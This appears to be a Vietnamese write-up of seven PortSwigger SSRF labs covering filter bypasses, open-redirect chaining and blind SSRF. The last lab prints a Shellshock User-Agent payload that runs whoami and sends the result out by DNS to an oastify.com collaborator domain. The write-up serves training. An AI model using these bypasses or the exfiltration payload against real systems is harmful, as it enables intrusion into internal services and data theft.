# Lab 1: Basic SSRF against the local server

Lab này có tính năng kiểm tra hàng tồn kho để lấy dữ liệu từ hệ thống nội bộ.

Nó thực hiện điều này bằng cách chuyển đến back-end API endpoint thông qua front-end HTTP request.

Hệ thống nhận `stockApi` là url (tin tưởng là local rồi) nên trả về số lượng hàng tồn kho như yêu cầu
Ta sẽ khai thác lỗ hổng này để truy cập `/admin` như sau

Cuối cùng là xóa `carlos`



# Lab 2: Basic SSRF against another back-end system

Lab này chỉ cho phép truy cập thông qua IP riêng của nó

Lab đã cung cấp IP:`192.168.0.X`, port: `8080`. Giờ ta sẽ brute-force IP


Status 200 và trả về admin, vậy ta tìm được IP là `192.168.0.193`




# Lab 3: SSRF with blacklist-based input filter

Hệ thống chặn một số hostname như `localhost, 127.0.0.1`


Bypass bằng cách thay thế bằng `127.1`

Tuy nhiên, `/admin` cũng bị chặn

Sửa thành `/Admin` thì truy cập thành công rùi



# Lab 4: SSRF with whitelist-based input filter

Lab này cũng bị lọc hostname, chỉ cho phép `stock.weliketoshop.net`

Bypass:
- Sử dụng ký tự @

- Dùng # kết hợp với @

- Encode 2 lần #



# Lab 5: SSRF with filter bypass via open redirection vulnerability


Ở lab này, sau khi click vào next product để check stock của sản phẩm tiếp theo ta bắt được request

Hệ thống được chuyển hướng đến `/product?productId=2`
Ta sẽ khai thác qua tham số `stockApi`

Có vẻ hệ thống nghĩ chúng ta đang truyền cả 2 `stockApi` và `path` (path là tham số trong url)
Mã hóa `&` thì chuyển hướng đến product 2 thành công

Giờ thì chuyển hướng đến `/admin` thui



# Lab 6: Blind SSRF with out-of-band detection

Lab này chứa lỗ hổng blind SSRF.
Request khi xem product 1

Header `Referer` chứa URL của trang được truy cập trước khi chúng ta truy cập đến `/product?productId=1`
Thay đổi giá trị header `Referer` thành địa chỉ tới domain Burp Collaborator.

DNS lookup thành công do đó tại header `Referer` có khả năng bị tấn công SSRF.

# Lab 7: Blind SSRF with Shellshock exploitation

- Web sử dụng phần mềm phân tích tìm nạp URL được chỉ định trong header Referer
- Server nội bộ `192.168.0.X`, port `8080`dễ bị Shellshock tấn công
- Mục tiêu lab
- Tìm server nội bộ
- Payload shellshock để lấy tên hệ điều hành user
Sử dụng Collaborator Everywhere để kiểm tra

`User-Agent` và `Referer` dễ bị tấn công
Cú pháp lệnh [shellshock](https://blog.cloudflare.com/inside-shellshock/) đối với `User-Agent`
```
() { ignored;};arbitrary command
```
Payload:
```
() { ignored;};/usr/bin/nslookup $(whoami).4kpu4owshnnq4ir8voacea1w4nagy6mv.oastify.com
```
Ta phải brute-force địa chỉ IP nữa


Xảy xa DNS lookup và nhận được OS user name `peter-rCO0tv`

Submit
